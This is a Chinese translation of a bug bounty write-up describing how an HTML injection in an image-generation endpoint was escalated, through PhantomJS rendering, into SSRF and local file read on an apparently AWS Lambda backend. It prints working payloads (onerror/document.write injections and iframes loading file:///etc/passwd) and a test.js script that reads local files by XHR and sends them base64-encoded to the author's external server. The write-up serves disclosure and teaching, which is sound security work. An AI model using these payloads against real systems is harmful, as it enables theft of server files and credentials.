譯者:D@先知安全技術社區
原文地址:《Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read》

在一次賞金程序中,我碰見這么一個請求,用戶輸入然后生成圖片供下載。過了一會兒,我便把圖片內部的 XSS 升級成服務端的任意文件讀取漏洞。因為程序的隱私性,所以我將盡力抹掉敏感信息。
原始請求如下:
https://website/download?background=file.jpg&author=Brett&header=Test&text=&width=500&height=500
請求返回的文件如下:

最開始我執著于 background 參數,因為 background 的值是文件名,我認為這個參數看上去是最有意思的。接著在對參數進行了混淆后,我發現 header 參數存在 HTML 注入。因為之前閱讀過 pdf 中 xss 引起嚴重漏洞的筆記,所以我決定在這一點上進行深入。
請求:
https://website/download?background=file.jpg&author=Brett&header="><u>test&text=&width=500&height=500
返回:

接著我嘗試了任意 HTML 元素,結果非常有意思:基本上所有的 html 元素(iframe、img、script等)都被瀏覽器解析了。為了獲取更多關于是什么在處理 html 的信息,我決定用自己的服務器作為 ssrf 目標。
https://website/download?background=file.jpg&author=Brett&header=<iframe src=https://xss.buer.haus/ssrftest></iframe>&text=&width=500&height=500

我自己的服務器端日志記錄如下:
[25/Jun/2017:20:31:49 -0400] "GET /ssrftest HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
從上面的記錄可知,請求字段中的 UA 字段表明了 HTML 頁面的加載和圖像的生成是由無 UA 頭瀏覽器客戶端 PhantomJS 來完成的。在 Phantom 方面,我是頗有經驗的,因為 CTF 比賽中經常能碰到,同時我在自己的網絡掃描器使用 Phantom 完成網站截圖功能。知道了是 PhantomJS 處理 HTML ,這對于漏洞利用來說這是個好消息,因為這解釋了我之前嘗試利用漏洞時遇到的一些問題。
我遇到的第一個問題是基本的 payload 總是不能執行。比如說 <script> 不能正常執行、 <img src=x onerror=> 不會觸發。我記得在100次重定向的嘗試中就成功了一次。有些情況下,payload 根本不執行。除此之外,在嘗試重定向到其他頁面時還遇到一些服務器異常的情況。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="window.location='https://xss.buer.haus/'" />&text=&width=500&height=500
響應:
{"message": "Internal server error"}.
我嘗試了大概50種不同類型的 payload 才意識到真正的問題是 PhantomJS 存在某種條件競爭。在給我自己的掃描器編寫插件時,我遇到過類似的問題。那是在嘗試捕捉截圖時,Phantom 不會等 JavaScript 完全加載后才渲染圖片。
所以我必須想個辦法在圖片渲染前延緩 Phantom 以完成我 js 代碼的加載。在嘗試了幾個想法后,我使用了
document.write 覆蓋了圖片內容,同時這個函數似乎解決了上面的問題。但是我不知道原理,只知道它起作用了。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write('test')" />&text=&width=500&height=500
響應:

這時,只要頁面加載,存儲型 JavaScript 就能執行。接下來我需要收集更多關于 PhantomJS 和代碼執行上下文環境的信息。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write(window.location)" />&text=&width=500&height=500
響應:

上圖的結果非常有意思,我們可以知道代碼是從file://執行的,同時得知這是/var/task目錄下的一個html文件。這時我想通過<iframe>引入文件來檢測是否同源。
https://website/download?background=file.jpg&author=Brett&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///var/task/[redacted].html></iframe>')"/>&text=&width=500&height=500

現在可以得出結論了,至少/var/task下的任意文件可以被讀取,接下來我想看看能否讀取其他目錄下的文件(比如/etc/目錄)
&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
很尷尬,請求沒有返回。
于是我對/var/tasks目錄進行了搜索以便獲取更多信息,最后發現這可能和 AWS Lambda 有關。這個發現讓我將注意力放在了同目錄下的某些文件上(比如/var/task/index.js),這些文件應該包含了 Phantom 插件的源碼。所以我認為在/var/下我能訪問的文件內容可能會提供更多信息,至少會有一些值得報告的信息。
理論上使用 XHR 和 Ajax 應該能夠讀取文件內容并在圖片中展示或者將內容提取到我的服務器上。但直接通過document.write寫入 js 代碼發生了問題,最終我發現可以通過外部腳本來繞過這個問題。
Payload:
&header=<img src="xasdasdasd" onerror="document.write('<script src="https://xss.buer.haus/test.js"></script>')"/>
test.js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="https://xss.buer.haus/exfil?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///var/task/[redacted].html");
oReq.send();
不披露些敏感數據是無法展示戰果的,下面這張圖僅是你在訪問日志里看到的數據。

現在在file://環境下,可以通過帶外 JavaScript 和 XHR 來讀取任意文件來。所以我用腳本再次讀取/etc/passwd去檢測iframe是否生效。

啊哈哈!當 PhantomJS 由于某種原因加載<iframe src="file://">時,XHR 完全可以訪問file://的上下文環境(也就是訪問任意文件)。
在經歷這些后,會發現 XSS 在最初似乎一點價值都沒,但是從 XSS 到 LFI 卻費了很多力氣。這是一次非常奇怪的賞金之旅,感覺就像在 CTF 中找 flag 而不是試圖利用生產服務器。這次我最大的收獲是投入到這場偽 CTF 挑戰賽的那些周末實際上都是值得的。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/344/
暫無評論